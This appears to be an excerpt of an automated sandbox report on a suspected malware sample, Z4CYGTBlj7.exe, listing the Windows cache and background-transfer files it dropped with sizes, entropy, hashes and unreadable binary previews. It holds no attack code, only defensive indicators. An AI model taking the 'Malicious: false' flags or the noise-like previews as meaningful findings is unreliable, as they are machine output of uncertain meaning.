Preview:	regf..-.E.1b..r...+...kHm...[..;.<Q..Z.i.T.y.W.~#.=.mW....`..#.P...?.r.o..I.>..6...w.1..\......M.I......{.vpi......kk.b.N....prQKd....G(....1E:%iC.".TL..+5.[~..D u...8.....\|... s.:d.)...',.i.:..^!?..B.2......XA.R..R.:..A....h.\..p4.a..M...[...xq....b.z]:.M.E._..D..".U..)yC.EJ .....U<W.j...M.....(.x(....'..;.SW^..l......@.....#.z^.q..m...;Lw.._....'.......4...iG../......~.........{.?>+...".k..{.1..W....tP......*..&.....1piC[ks..i.?_...IC[.magv.<..vE].......7 9....X_..W...w.A:..............d86..&.M}B.G.mcP}.(Eq...LF........84..bF.`.........$..h\.6h.\|G.5..3G.n.b....M....J._.....t.....M ......caea.....O.} .}V. ...9...F..d.D...1........$...A.....v.'.G...=...(R.....s1..} O`.~..d.>.."6g...........0}7.W._@ .'...a\|%......1.~...z....@..6I..p#H....$.E..^....T.@..&.B._}....`5.4..6...4/..8]..h.Z)........<9.zL.Zim..G.oH...=\...F.e.#.sPf...a.b.....wq.d.g..kz.......0..N.{m..i`~.....5..V..h.j>h.H1..J.....-..p.~T^N................7...0:5{..Y........X}.C}..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3304115970357988
Encrypted:	false
SSDEEP:	3072:jqKS5nFSYn5G/MU8G4XQa4RuhLY7TBcFpu4UPNGSijagsear0az:2nnzGIG4XQafxY1zJijE
MD5:	CBF4DC06559119779758B756E3B05311
SHA1:	A76E847CC814ACB4D0D42FCBB0E4DAAA37375675
SHA-256:	D692E3EEC2BFF5710DA69EC0F803C9FD406BE90CAA2CAAF1ABAC26DAB4BFA0F6
SHA-512:	6EBAA705B954D44FC72E3FC072D1ED80E15A6854BA05829BC590CD70ABF87E0B21CA81F65E8654102F727B3D0DD5BB67A8D1893A39460C0B2A37BBF6D57C26C9
Malicious:	false
Preview:	.}....\..{.#8.G...p.......y.`.A..+.TJI.........7.N.4No...-....%].. 5.bQj..pXL=YV.9.\..:8...B...]HT.\..........Q.3.....IpX(.m..q.`...<..'a..s.i.os.7\|CN.....<...M.>.hnW.U7A..E.GJ.....q..[W.7~.....N.b...9.o.E.-O....K..(..:x..:c...u...mU...<D....b\|1.....S..._.:v=rgH..o...o.p.E ....].j....~..._UNq.Wf.}........gn.}.0...Y$.f....z.P...a[.0....a.k..O ];..s..u.Fi=K...Su.e.x/....~.'..B.Vd<w..,...i.....Q..X.h.A......%.^s...(...{..Hu....~.y...k}......_...=;......hR)... ..7..sMx['...2nvy.t.z..}6.Ye. .........;....0d.l....kKJ....9...^mS.:Y%.+<S~...A>.P..u;ci:.{.......F..B..6..q.^.r.#..K0N4C....2.j..c.Q.9N.wB(.2.dN.\|..V......r..L...N.D.'.:.."~.bz.....+.U....}E.2j........?........(.}..Y.....]x..g..!).<9.z..ieD..Iq9.>....nW..tIBq.C..=.....?~..PtQ...%...q.D.....(q.......zS....6..v....v.^..B.!...d....e..Y..)..Q..^O..l\|..IK...!:g.B`.X...M.W...P...]>.....UP.Wd..n........k..I."..2.........7H.5....F.B$l.d....7..**.uD..8Z.@.]AT.h.=7...y.\|...e..\..h7j/.aD7.....g

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988800861010069
Encrypted:	false
SSDEEP:	384:XTGwaghwbG8Bj8i4sivtk54dx5ULVh492szFZOMhPoYGUhdp:DGwh8G8BQO54DcTCv3GSdp
MD5:	D1194B2F8C53A912E92CCFE7CE0DC0BD
SHA1:	905F849510B7E3C4353BE99190446790E2583BD7
SHA-256:	342B39E5F71F3111FB6F9706C44C719723A3FC5B9599BF38C19E3D1CED29310E
SHA-512:	87F4CF92314F0819A769CEC37D6B0BAF48907056F0779EB859F1E0F4435658853D97080A7FE2CDA52075EAA7F2F0DB662A5DD93DD7E73B8C2D144736101DF741
Malicious:	false
Preview:	......f.Z=H~ .cD..:..Wl...._..K....}.R.1........D....a...b[s.'..s.<..g.2.....svf...u....}O.Lv.Q.Y...........b.F..\|k...<,.O.b..`..w....8....>dI..._l..A.._d.a. ......O...aaD...80X...3..yu.eLK.9.vJ_..M..lh....eL..G......).y.&.m.....9N.1.6.r.Q4..9.5\$.Mf..h..\X)...9...`.....x.r@t...K..gT..........l.:.....O.$..c...E".{.H4^.4......-v..}...tC..x...n.g....NE'...}.D"z.Uz.n.~.K~..n.@w.:.y....tg..^./v...w..G}.aO-.!Hq..#G.A.<`.&?.7b..0.N6A......?.g.P>yX.e..p..bY:..2.....H.$..NA...b..n..9.....&.? .}(.....>.j..SR,....>.N}..o..F..B.>.L&.,S5...........0.g..x.......Xd.cR.k@.V^....Y.t.^......#UA..Q%..Z.Y..D..J.mO..d.>...5.....Q}\S...S..%Wp.V......kz..P.MG!b(./9.VZ...S..U\|.E.s..N.T.n=~.E1s\.....K(.....b=....U..ZpK.A.......r\|....e.}I=#...l@.#~...c. .H3...N.8<F. ..=.......#@!.M.\;..T..\)......b..z52..7B.?..4.H.Tb~P...!K$.oQ..ym.....?..83v.....Q.{..;.m(.-.f.0P.../"...RLA#.........+......Ch.P 4....}.(Dg......~.)..t.#...P<..1......x.................*.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1af7386d-2596-45c4-82b8-3956cdf5d30f.3f99b466-b1ed-4af8-a2ce-940cb2e6a2f9.down_meta

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.904760630629699
Encrypted:	false
SSDEEP:	48:NdQbQl/8NdJotlxw7btb2qR/AQP48Fm/mD:NAO8rotluXthAQFW+
MD5:	5C41E7495A5BF66E96873B2F01D22F82
SHA1:	FC84B0CE96D02FE6E4A89E31B4291A3F2475B36A
SHA-256:	D0062707B5D7F34993C9BD68955785766B891179DB986355C6C0B22AE0E9F736
SHA-512:	A79F1EA7E5D68A8027518A6CC4AD57AECAD518EA83C177504A9FFACFF5DE225F05CB40E37997F723EB6C11B1DE33580F9C23ACAE8FDD7F28A945B611457BCB92
Malicious:	false
Preview:	h.t.t...5.?.....H.+t}.X...U~.V.x2..#..!..d.$.~...y~......D..M..kM4.g...V....r..f[.....M.Z......bbZ.....G.c...zlc\~..Ers..D.R.l!..M_x.U...R.\.......E....?2.k.....c..........)...K...V...P.1....@._.6.`.}.-3..ku+.6s.VLj-.1c..A.u.]....G.......eo.N$..}E.......4....wE...g...t..... .Rc......CcWkV.Q=..o..M.)}.n..B..=..eP{..F-1t.).........c..?`...EZ.W...<.\X...U..f!.}..0^..>...xi..oWM.t..U....o.Lx:w...T.=c.1.....r&...j....z.D...^.u......^V.m.E...!....L.y.h.K?..{#..%..eQ..lG....5.,R...W..O.......Fnn.Ftk.mL.D.0...?-..(L....nI.]S8.../....;.Y..=U...9c.1...$B@.WI-..!......I.b.0.;.ll....{.....w.j....p....z..9.......3..LN..g.5..H.,....6.,......i.Q.4\P?.o....\|.."....uzj..9..Xv.+...\..(..+.fHr....q.E.....t.g..._.....X.a.....MT.+#....%...E...<..n.i...r.3;..OB.}y. ..(....q.(xsGG..q.,.70J.}2.{.[y.&.l....D.1]..../;g-..kv......Yd.....G. ...g9.].!.%"w.w.%..v..'..pV>..H.wl..U.h:.m..X..f.8`.G.....c.6..Z.n.;.._......./.3.v...n.[.....Pu2.....+].x...i....f..=...%.)~.+

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1af7386d-2596-45c4-82b8-3956cdf5d30f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.765992188385459
Encrypted:	false
SSDEEP:	24:9VvSHjFS6J+ec3gfy8VgfCPd4b1rl3sbD:TEcihVgfPBlmD
MD5:	415A11A88ECD173CD706201BCF195D7A
SHA1:	CF5D313BFD481D1869E7A96397963A5F1B101A73
SHA-256:	C7C60DD41B8DF7DECEDA6C7BDF7DB57F8537CF0EC9B634EDC8DCB40E1374D67B
SHA-512:	CCB678AF33DD6D8959B2D0934B6F005898EAD1CD49B643BAD3A6CC080E08D46260410A5ECDF606700C3064FFC36CE332756AE72E935E343DE20C798FD2077C05
Malicious:	false
Preview:	.....J..dS:....Y...Q..^%.f.c.&.4.?......1._..%[O....6l(6T..{q..B.2w.`(..\./V...HW.@........1.t.o..........l.ah.{4.a..+..[..8+s%....sk...WI@\|..C....u......."i&w..H.......L2..S,l.Rn..@...3g...b..U.[.....@.S....k...#v.@.bCB..S.....r\|......i.^P..1.)="..5^.#8....l..o.,F..n2.R~.....L..p..%._y.}...b..T.....Sj.....#.}n.Z.......c.Mn.B5....4.dk#......K.vL...!L.\...P..?e.."}..K..@....W-..^.Z."....c...L...e.?h.zD(az..)..:@..B...6c76...<H.?...>5J.A.'M.......f.r-...\|U..X...F)Ac..u......UL..p.c.j.eWN.._&`...(.(m"1%\|..a...:.J.mE.../2.J...]U.u.+n.....YW`...i......o....VOGS'=;....A.A....]......q......#\|r....9.V.!8'!..x....Q.Ha..ji.FE...~....%e.....mEO.y..s'.4..o"..kp.j..........pE.S.&..$.U..K...bK..H~..1.....b.G.R.y?..#aP^-.i#..f....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\3a6a891f-fe99-44b6-addd-2aad8c30a650.5c94643d-0514-48b2-a3f1-9799e93d7047.down_meta

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.884717183888837
Encrypted:	false
SSDEEP:	48:qdIlcJj5Rt/IPArffMEnSlyLhpYipgIlyf+9lH7Xc/sNWmdnC6G2qYfjmD:8Ilo/IkffMwS0ftp9++WmVjG2/fj+
MD5:	36D838981E6FC87E3280B9D0C3D4BD70
SHA1:	A71FAE44F2621EE4BC8BB3FE2DE217E8A3766E13
SHA-256:	7545FDE2F49DCA4DBA51F6628D2AC61429710D1AE27AE4523688EA558E383746
SHA-512:	4545CC99AD4F13A00A17BAEA99D40D79E8685F9A031DFB071D282303616ED8204F07CC282EBDE3D6460F737A6D32F5D902BD147E86DB33B3295CB16AA1CF4ED4
Malicious:	false
Preview:	h.t.tPG.a..o.V.....V.b.Vj)T.{.....{..~..B..E...dkh.--...)...]....3.]...;.<....w....Y......LF..b....88,GxYD-w..z....<....N........xS..i...&,".&..xw;/.A^..y..zB;iuR6V.'...0...l.b....V.....K.'5.M-.(....i.!..Kc)..OB\....d6v..!.5l.=.X>.......m.l...6. .).0g.M.#.eMLI..$....tp....y[5O...x.\ne..]V.(.Y.......4....5.!.q.,.XG..dL..n...'..9.....mhX.....B..o...f.<.L......!.R).x.q...^....`..Q..(..'.....0.....{Jk..-E}...DMhN_.o..PM..........l.@.....w...`{..w....bN.....xE.H?E..Y.F.c3.`.9L...DfV.....#........y..cF.h.O..y.....J..?`.6? X.d=.cX....?5<........_..{...e.]\|r..[..@.9...?,.....,.D...\|.p...}.Z...t.5......Wp./Y(..A...../a..n2..?.Yubqn.7q...)8..G...x.@..oN......8...+....\|.@..6c.y&g.'.>....\|zC.;.N8.4.2..a;L.....>]vj.?6..H.y5.$....L[Z;_.kJ..`..... .c%...5..I\Z.4.....Q..]4.\|7_.n...J.O....0$./...]....2..r.i.w.....u..A.z..F.1^....D..)`...#q......i.<.l..d$......_.(..ll9.b..s."..3....}..pR.*,.p.".x.....!3.....D......1.N.DV.W..9..5-y.`.8....`........@V......{?R

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\3a6a891f-fe99-44b6-addd-2aad8c30a650.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.73473557870984
Encrypted:	false
SSDEEP:	24:n61ORcCzUPljDcl3QlONugVCPoYT8wh1kTUwMsbD:n61nCspDclgPg0PoYAPTUwMmD
MD5:	D7C980155A4817698BBFC198A9FC4079
SHA1:	1E5F99B1531D4EFA2C9BE66EFD4682CFADE9B101
SHA-256:	66226E388917A6D67121FD33550864A308280B533C33C7F8FF73109A7A2A1B28
SHA-512:	F5A931EC743FA37A2A70F89067A343A2DD68FC7464C69648A788F63D3019B7723951EBE7177C02AF58B0B03F045B188ADF1CCFD214A200E1685DDB361F4B9091
Malicious:	false
Preview:	.....={..x...Xl..(B........DB{A.@{..i._._<..S..+..v./..-....Uh..Bo..5..J..y_.C58t....h...W6b...v~...IX..Z.O.O.#..~?!.....>..q...8Y....Z ..%G/..N'.c"..g.Jq.v....M.9..-.d..1J......_.B.7L....r.nGB;R........d..\.H..v.....U.Vy..?.9 .yS...K....}..............Oq..fQ.k\|j.krd.p.n..,.j...6.<..?..aM.!g.8...\|"..0...../..z.O....fV.\..+..}'....T?.K.4.......:3.x.:...8....W..k...w...!...-.r....a......).p.P..E2..>..Z..........m....T[M....b.>.z.L.v...TIX......h.y.L.2X..D.4.v.......?....ox.2.4..Q.t)Z..........].#...6.(Z.X....F./..@o...I>....[..\|..6z.E..e.gr#mcE..4.m.<.+m.[.U...L.`...............g.t....s.R.....C?..e...J.y~...-w.....<...b'.av...lw.d.Q*F.6..S....Q..H......\|.!.x..@M.a$am;;......'.A{.?..Y`k/....\..{..3.H..h...3..;.(y..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\43454a50-1b72-451a-a951-64ddefb034b1.9974098b-b732-4b69-a607-f93da8a3f775.down_meta

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.9019228313060275
Encrypted:	false
SSDEEP:	48:LBRpAhuumPn1dc+GGh+qez/y4uMu5A1bDyGkUu0FmD:LBc+nnc+hS/y4uo1bDBkUb+
MD5:	BE7EF4EF9E38DD92746AA2EBC16F2D12
SHA1:	EAB022C173E96A7828F93A682F0E1E2DD9C7D304
SHA-256:	F5A83EE49D2B24947828DF81E90F10542B46A479B584D1D0EE257AAE061C4062
SHA-512:	41FD6A61D7D83FBF577A2B1EE0391A1C60A36758BDF0AFDF7C268E3EBCC2ACAA8021FDEA010DD89D732F3BA6315E9786CAADBAF1AAABCFB43AF61BA6F04016EE
Malicious:	false
Preview:	h.t.t..S....{6J..AJ_t.{.Zz........W/...%)..J.w..$.d. ..\W../.i.n..>4C.U...I\|(....']l.........U.....#.3.HM....`...J...w."f...g.[.T.bF...=.4.n.../..q...W.6...%P.R..`...S........MS.P..>S..fJ,...&.P..p\..h...N.u...K....WPl\=+.Z.....#....?^o.V...1u,+q..4.{....S.XZD....Sw..e.8...U..W.Kcv.,a.B.....L.......k...C.s..f.C-.b.X.GM..W..?..J...dL9....[q.=L/...T..W..1r...F.2q.T.....X]Zf3R"v..u.+.. .~.T&....^.i.e4.LS.x"lG.+..x.....%s..B2vN........Z$..M..zE.W.b..1...If(k...q..Q$..R.=18....kZ]U...u.D...:.......#y^.J.4...`O.et..l.i3E,...\|..+%....[....+..Z.v..7I.....i...Dd.H.".....+.=.oZ~C.6/..-5...$....r..g.?a.8.....t.0r...Z.W.....w]..g.....k.....X.+......9s]..l....Rt.$..Q..<...y..K./.l`./...!W<}....6...i...~]........W..U......".0TM.R..A.ym7O..Kw..,........@....=28..WBjuOi.R..Zc.2.r._/..=[t..rk.#\.Q;.E./... iN.%T....E.O.f+.;...ES.^F.{..x-:.. e.....F....wT.q...mv..)..&....v.~5+\...%...xQ....J...Nv.B.1.)I..h...5.`..........@..R.6x.v..[v..=u...L...W..y.R....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\43454a50-1b72-451a-a951-64ddefb034b1.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.7421199659195885
Encrypted:	false
SSDEEP:	24:wcDW2dh4qjmsBAtITT+urdcdTZ0J3vXe/nrJpEmtEDsbD:waDj7ASTT+urdQcXezwm6DmD
MD5:	55E2539EFCD05A7F5D162C96FCBE652A
SHA1:	9F3C70055FD6F9A3120BE7D34426D66AEAD0A458
SHA-256:	52B0227CE17683A90B6349B52A7165511008D3BC9BAE39038A0058DBD3147C44
SHA-512:	DD2D96AC06CA4BB357AF0208A5A089590A6E9C637EFE126A7293F02FADC6F52A2E2915F4B979A061961E9535620366FD8FD18D95738E11738B52D68D9D426F7E
Malicious:	false
Preview:	......M...p]....>.rL.S.<..>.1z...q.K.[L..,j...Z......lo>..B#Hdo....!<..Fk...O..T......\...B.....eW.)p.<f>..hV.2+...$..Jy4...yr.T7.....$.6.... .4..........'..>5-.s/..._.4.#..c..9[.......Dl-.'...'[....LA\K>5..,./0.7.%.-.....;.[....1.qI...9).0k.u...x..VjSp.7....oU.g.......7v.<..S.N.\|...S...@....2x.EC3.z......,\|.`..Fa1.)f.fQ0E8..L..".{.c..e.\v:.ts_:7}.....LA.:p....@9+fb.<.!V...n/j..O..<....9.2V.@.A.0c.+.^p......(.=.U,jP...l~.;..`...Z.F.7...!P.<..I..D..........yl...W.."".y.h.....\...l....OK..l.,.....K;.ho....v=<.S.K..8..k../%v&..6.K."A.>....q<d..d..gc.c.dK..c.d.S..P@A.....}`..&....+...........0..{...y..b...lA.E...@;'..p...4.....g ..T......JyH7.<..z....H..]....../n...K......I9u?../..c[t..+.i.O....<...$2.w..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\76cfec23-ab86-4cc0-955d-9445d5cc12ef.180a3eb4-ab6b-4579-95d2-ecee0bf92e55.down_meta

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.896535708304376
Encrypted:	false
SSDEEP:	48:uNswoNC8xlB3bMfUcEFe/AG80LETXffOYOJxEui127nlzmD:uOZxlB42tL0oTPfpOg3Olz+
MD5:	954503EB30B9B0BCA63AD61040C160ED
SHA1:	8C6A6A7425324C1C61B8374E0E2CD314C896E807
SHA-256:	D60295ED2CC4AA712EF182ADB2233D2D0F264826BBB66DBAA93C84C9FCC52F83
SHA-512:	988334111D0289F280CC3780ECBD5E95F00EB5823888F998222A8AA7F3FE55B394E8F7F56C31A6F13F54BAB9E5533C64E2D7981A370A89F23E3A9F834C2DC662
Malicious:	false
Preview:	h.t.t.C%...$..?~.%1oa...l'7......M>...B:.......+....aE....$..M..F..To......y..~......k..C...o..#s.......rg.\...^.G.c..z.M.......t.i.P.../.\|.mXT.-...A...RU.....".t......N.P..Rg$.D.'/0.P.......n.I..q..37...lq\.....yn\.].B.....R.. ....X......j......T......`.W/..(.7.TY..\|.4._\e.y0..U.'.J}w.k...,..<...y.>.$.l...#11.....e..m2.xL..t'.wbR.......b.e.#EI..W..x.t{...zQ..Ha(.%...W.k)....Z.d+...).._;oi.1..s.v.u.\.x2...L.@......7.w.(.Z..X(....4Z^.K.A.4...G...u.T..-;..".(..i.....[.]l...%.G%..!5.t."w.3{<4]}m%ai...e.. N?j.....V...k...C...R....."...x}(..>.4..$..VO.N....j<.....~!r..W....x..;g\. ...;.-...l...gx.e...jx.Y'.P.j..j.$!.E.s '..>....R....N4...F.An...#2..n./..zHe.M..u..D....96...>........<m.y.X\.![....~...2.U.s3....^.H.6%....~....)....*..e..R`.U$......c.....P7`\..\.......\|0`.K.A..."......x!Q.d.\".....I....jU.l..Y..h(.Z{.x....u..R...+=;G.;M=j....D..'...K,.p\_-..n.....W.v.x..~..Y..H....._!0....^az.A..h..\|`Q.:.\.+....e.e3zJz.#u.F..ETP..\|:.t.B.E..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\76cfec23-ab86-4cc0-955d-9445d5cc12ef.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.727611091493402
Encrypted:	false
SSDEEP:	12:ckcL1eUbjLnpbe5YpXHwTFA2Dbp5w76VNDQGAGytdTzmZTZl/QXkQscii9a:scUbjLFSQ3qbp5mhTzAZl4XZsbD
MD5:	B7E397930C87A1520A147858A9DD520C
SHA1:	ED58EBF838397109932A70288BFCD3A43E7CB0C2
SHA-256:	EAC0B74CE89C16F67F12A16FDF8D5D0BD97C633BA4125DC9E77DD3515B7EEE48
SHA-512:	5E6DC7AB1C2500F65716A8F3DFECCE8726D28CA6D3575DCFDA8A34EC8851C0BECD0FCCFABADF7BB18738A68E358B578FDE5BC7F495F7C6A67B43923E3E253381
Malicious:	false
Preview:	......``.......TK...4.,.......Z..h.a .*8.......)l.dO...~.Ad..oR.hl[.m......,..7v.Ea....4....,@..S~.D.....h".Y.w.r;o@....$....W..!..(%...\....Ae..e...9K;\|...i`.;...+.....N..{......nwj.hk\M...@.8.....v.tm...M.......a^nw."..)+4Go.....t].u(.E._......j"..#.q."........)..-.....Y..............49.t...X.w.r=.DXm.Pj..N.....c.{.m...jI.......V.!....tp.u......dgK\|....j.....Cn....M[.....9fl.t.kk....A.V.......EK$Mk.vs......8...6...l.d.eBW.Y..[g....O...7........R.{.yS.% X........{g......c..%.\|....B.c..G6..@.t....X.H...U.....}.g......?w'../.O,(....7.4..[R....S.`%.~q0.'...d....;%.&...5.X.3=A...E..f;.zL..K.U....}.=.c.-..6..q8>.[.C......S........m'fw.+(..0.A1......@9.%.Sz..P...x...aO.5{.\|]...s.q.=..C....F.#n^...N:.t.?../I..=....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\d92f17e3-b3d9-4664-8820-141ed58efeab.798a2161-d11c-4972-a265-42a25538813b.down_meta

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.906754786177916
Encrypted:	false
SSDEEP:	48:PtUtsxp+oSbj1sEPiHVvajgDnd8PFMpbpYM5mD:V+CprSb6WiHeo8PAOM5+
MD5:	B69AFE9F15ECEC86EA9DEF38360AEB80
SHA1:	55CB8BD6CB8E2AAF20FBD2A165A9EC3FD15E4BC5
SHA-256:	35CF9E614BBE889131B206461B88B94F04E89ECE0D1CA9898FA6B3833F3A3B9E
SHA-512:	339CCBF21757D175D344B07EB7A4C3DC1E21E9F987F7AA866BC370899D02D606D11E0567660A63BAB6888F3372EC8B0DF3CED9F138A057106101A97282EBA669
Malicious:	false
Preview:	h.t.tO..K.7[..$i"..=.[..+.....#......Lq.R..N.?..u,...o..[...Y.A.."t..K...t...{u.e0:.s#z.......9..].......L.!";..b.+..]L......b...1`Mj.) ...<$.^.v.jn..b&.+o...3..>.o......T2...[..wU.z5.ic...F..^.._._........Du..+...$.&.H^.;.p9...a>.....}...(...~..U.R...!..\|..a..7.\|...(...^^$Yja..D.....-..M.U........CCh...Z.uFt.....^...]!.&...0...ub.H..(...sa{.i......61_.-]...)...Z0..=..C~5.&H..d...GS.B.v.Gu.9?...Gb.&...?..s.E.F.>..._I.(...a.+..V.9..Q....:S.LpL........9.....<....HY.X,%.....s...Q......O6-o..$.O.X...kQg..h.....m.....%.b.42....kz...@....~{.Y.G.s...`+...6...H^SN%.&......U.S..l..En-.w..(}.J.(F.....Gl.P...[.+..Dc.... ...JNX.....&.J/.!........-....EQ.P..+........}}...3f.<...we.B=........lM2......S...6..R....W.w(..XRx.c.*..O.....}.........P{].\|\z.0..\6@...iG...W.M.............$E..Z..o..F............-.P.....d...._...s%\E.4..K2o..t'v..Ug.z..`T'.~O_C....j.[.<.$...F..F......j.\..t...A.Y......e@.."..7..d...L6.%J9..Z...]k.w.)..pq}..7...3C......Zjm

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\d92f17e3-b3d9-4664-8820-141ed58efeab.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.7504929510588525
Encrypted:	false
SSDEEP:	24:dcTmEXuOMRP7/hHEpQmfPQ7wU5j6J1+iosbD:2TbIP7/1EQmfP4A8mD
MD5:	BB6468F62D82E016824DEDA889EDA6C6
SHA1:	BB44A8120BA1A9486A4BE55E7BDC604EE0A78B55
SHA-256:	F67FBA6DDED7CC31FC626FD07BBF282AA0DDC042AEDC678B45CCD523C737DC11
SHA-512:	77759860214333DA27AB97D4F47B4F4BABC5AD8559880370CDAB6036E8AC3BF7F9CCA68CD6C0997E38BFD71521BD784D44CFA6A3DBC0645CA1EF37BF254FE7EA
Malicious:	false
Preview:	.....E?...d.4$T.\|Ur.V\|..K...%.j.@.x.T...$...R..E1.N;..K...E`....D8.1aDY.!.~.Ko.@.?[..-._j..w.....orP!O..8..z.X......d.%.}..D......\|.R2.\\...{<k.F.;..1l...m._.....AVh.a..$5...c..7.YJ.{~....l'.z...."@X..........5.I%.hz...,g.EQ[4/...y~SF&..Cj<'.p.C.).......P.W.^D....5. !....Q..\7.......4.....\|....-f...J!\|\|Br..D#So[.^..g..D....O.<n.!....Q.H\..<H\.....3..p....w...k.}.6...Y.........\.......9..].J.....6'#&..1......h@o.X/\........... ....[,.R.<y...0I.....O...?..y\o.!}b.....,bz....0TC.f..`;H..... \'y.;.K.}.1..0....._...T......."TQ.JD:yl....E......?.:.@..D.Afdief>Ex&...aJ-.Q.....H..c.v..]1u.xg5r..`l..;....{?M..0..ad.o..u.\|JvlD..R.q+x..j+.....G.+Q....^..0.!...L..z.8.....-.....RP.$.W.>..F:z6p~]!d..,.(.7.b..=.lZ..F%..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fa8b3094-de61-403e-8cb9-1f14be698f21.db56ec01-b5ee-42c6-bdde-a5a445999e54.down_meta

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	7.901045514019681
Encrypted:	false
SSDEEP:	48:OGIfNAn6FgzwSkkB8S8KH13ZR8KDm8a8FvJq56akdmD:O/gYgzwuOS8KHlw38a8K5x8+
MD5:	E34A57CCF22E5742FF7674FC9A7B32F1
SHA1:	401559EDDB75C76638E67E9D0C4970A32777019B
SHA-256:	2AA91E36845FA0944689B41782BB663E3067768039508DA0ACAEA7020ECB399A
SHA-512:	3ECC30FF58D1D38BAA3A8ECDE8BE07B1B30D35ACDC25B83C03F7574815A5151CDFD9A28E08CEB8CDFFC8C06EC4592C53DC13460E4AD8A65ACC6D492A3349BA78
Malicious:	false
Preview:	h.t.t8.b........uv...&.f..L..$.pd-.;.6..t.R...o.U.Wz..:5.0...}...>Kd<..&......J{..e...0n.K.u.XZXuE....r..q..7.w.<..J.v..QS.6{R.X.I<..Ds..A}..B.$.-g.......Y$=....~.1.{L.......i:...}...g..+.....7....\.9........1....w.nq._.......P..s..r%.h^...tt69.....h...2<..x(....2..(.oA1.....&.\..q}..RE.W....Z..n.g2.:...J.k5.......F. ...&.....E4..{)..x]...\...^.p.D>...+r.l.............u<...%.....vz...\|v..o"..~.lb3...#E...1fG..-..?..1;./.V9........9....`Gi\X..Y.=.?..!...Uq..S.U...N.#...A..g...=.A..v..6..>?..)%...._c!-0......`\|....;.....\.;.i..I...nF.\.6A..;b...zw...x....b.?\m...##V..y..0...#5..Y.>..x....!.X$.7...EN\.e....{.ex.%..A..<_......6Yo.@.......V....FG.4.....I.[..{....#.......U}y}.\|r..1...bu{..f.I.v.h...{..f.e..&.T.o.V.&...X...a....N..".....y.r.E.J'..c....,...0o.Vu+...d...\|\$n...T.....E....R!.i ..@CF..z....cX...n9j.5.c.3#...4.&..v....*.y....IM...[E.g..G...%s&..?.FG..:....N..Fa..?m... .p./..3?.j.h...@..B.E...c"...1.h.cD...r.^y'.Q..mK@.

